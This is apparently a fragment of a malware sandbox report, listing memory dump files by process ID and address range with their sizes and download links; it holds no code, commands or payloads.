memory/1208-50-0x00000000070F0000-0x00000000070F8000-memory.dmp

Filesize
32KB

Download
memory/2636-137-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/2636-129-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/2636-105-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/2636-104-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/3664-91-0x0000000005D40000-0x0000000006094000-memory.dmp

Filesize
3.3MB

Download
memory/3684-71-0x000000007123E000-0x000000007123F000-memory.dmp

Filesize
4KB

Download
memory/3684-65-0x0000000006A40000-0x0000000006A48000-memory.dmp

Filesize
32KB

Download
memory/3684-72-0x0000000071230000-0x00000000719E0000-memory.dmp

Filesize
7.7MB

Download
memory/3684-73-0x0000000007860000-0x0000000007882000-memory.dmp

Filesize
136KB

Download
memory/3684-74-0x0000000008900000-0x0000000008EA4000-memory.dmp

Filesize
5.6MB

Download
memory/3684-7-0x0000000005E80000-0x0000000005EE6000-memory.dmp

Filesize
408KB

Download
memory/3684-5-0x00000000054D0000-0x00000000054F2000-memory.dmp

Filesize
136KB

Download
memory/3684-4-0x0000000071230000-0x00000000719E0000-memory.dmp

Filesize
7.7MB

Download
memory/3684-81-0x0000000071230000-0x00000000719E0000-memory.dmp

Filesize
7.7MB

Download
memory/3684-6-0x0000000005DA0000-0x0000000005E06000-memory.dmp

Filesize
408KB

Download
memory/3684-0-0x000000007123E000-0x000000007123F000-memory.dmp

Filesize
4KB

Download
memory/3684-19-0x00000000064C0000-0x000000000650C000-memory.dmp

Filesize
304KB

Download
memory/3684-17-0x0000000005FF0000-0x0000000006344000-memory.dmp

Filesize
3.3MB

Download
memory/3684-18-0x0000000006490000-0x00000000064AE000-memory.dmp

Filesize
120KB

Download
memory/3684-2-0x0000000071230000-0x00000000719E0000-memory.dmp

Filesize
7.7MB

Download
memory/3684-3-0x0000000005600000-0x0000000005C28000-memory.dmp

Filesize
6.2MB

Download
memory/3684-1-0x0000000002B70000-0x0000000002BA6000-memory.dmp

Filesize
216KB

Download
memory/4420-103-0x00000000074B0000-0x000000000754C000-memory.dmp

Filesize
624KB

Download
memory/4420-102-0x0000000007350000-0x00000000074AA000-memory.dmp

Filesize
1.4MB

Download